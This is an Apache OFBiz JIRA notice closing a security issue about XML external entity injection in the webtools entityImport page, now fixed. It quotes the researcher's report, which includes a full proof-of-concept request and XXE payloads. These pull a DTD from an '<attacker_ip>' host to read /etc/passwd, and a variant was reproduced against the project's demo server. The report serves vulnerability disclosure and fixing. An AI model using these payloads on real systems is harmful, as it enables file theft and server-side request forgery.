[ https://issues.apache.org/jira/browse/OFBIZ-11195?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Jacques Le Roux closed OFBIZ-11195. ----------------------------------- Fix Version/s: 17.12.02 18.12.01 Assignee: Jacques Le Roux Resolution: Fixed This is fixed with OFBIZ-11470 > XML Entity Injection in webtools/control/entityImport > ------------------------------------------------------ > > Key: OFBIZ-11195 > URL: https://issues.apache.org/jira/browse/OFBIZ-11195 > Project: OFBiz > Issue Type: Sub-task > Components: framework/webtools > Affects Versions: Trunk > Reporter: Jacques Le Roux > Assignee: Jacques Le Roux > Priority: Major > Fix For: 18.12.01, 17.12.02 > > > This was reported to the OFBiz security team by Jason Nordenstam from > offensive-security.com. We did not consider it as a real security issue > because it requires authentication. > {quote} > Authenticated users can import XML documents containing DTDs. The SAX parser > used by the XML Data Import functionality does not have DTD parsing > explicitly disabled which makes it vulnerable to XXE attacks. > The results of the import are not displayed in the page which means an > 'error-based' approach is needed to read local files. The parser will also > resolve external entities so this vulnerability can also be used for internal > port scanning or server-side request forgery. > Affected URL: > /webtools/control/entityImport > POC Example Request: > POST /webtools/control/entityImport HTTP/1.1 > Host:<host> > User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 > Firefox/60.0 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Referer: <host>/webtools/control/entityImport > Content-Type: application/x-www-form-urlencoded > Content-Length: 312 > Cookie: JSESSIONID=66A4289C95C78E5E7977EFF796A7D05B.jvm1; OFBiz.Visitor=10178 > Connection: close > Upgrade-Insecure-Requests: 1 > fulltext=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22utf-8%22%3F%3E%0D%0A%3C%21DOCTYPE+notfound+%5B%0D%0A+%3C%21ENTITY+%25+base+SYSTEM+%22http%3A%2F%2F<attacker_ip>%2Ferror.dtd%22%3E%0D%0A+%25base%3B%0D%0A+%25param1%3B+%0D%0A+%25external%3B%0D%0A%5D%3E%0D%0A%3Croot%3E%3Cfoo%3Ebar%3C%2Fbar%3E%3C%2Froot%3E%0D%0A > Payload One Decoded: > <?xml version="1.0" encoding="utf-8"?> > <!DOCTYPE notfound [ > <!ENTITY % base SYSTEM "http://<attacker_ip>/error.dtd"> > %base; > %param1; > %external; > ]> > <root><foo>bar</bar></root> > error.dtd on Attacking Machine: > <!ENTITY % payload SYSTEM "file:///etc/passwd"> > <!ENTITY % param1 "<!ENTITY % external SYSTEM 'file:///banana/%payload;'>" > > {quote} > We have reproduced it at > [https://demo-stable.ofbiz.apache.org/webtools/control/entityImport] > using : > {code:xml} > <?xml version="1.0" encoding="utf-8"?> > <!DOCTYPE notfound [ > <!ENTITY % base SYSTEM > "https://demo-trunk.ofbiz.apache.org/images/error.dtd"> > %base; > %param1; > %external; > ]> > <root><foo>bar</bar></root> > {code} -- This message was sent by Atlassian Jira (v8.3.4#803005)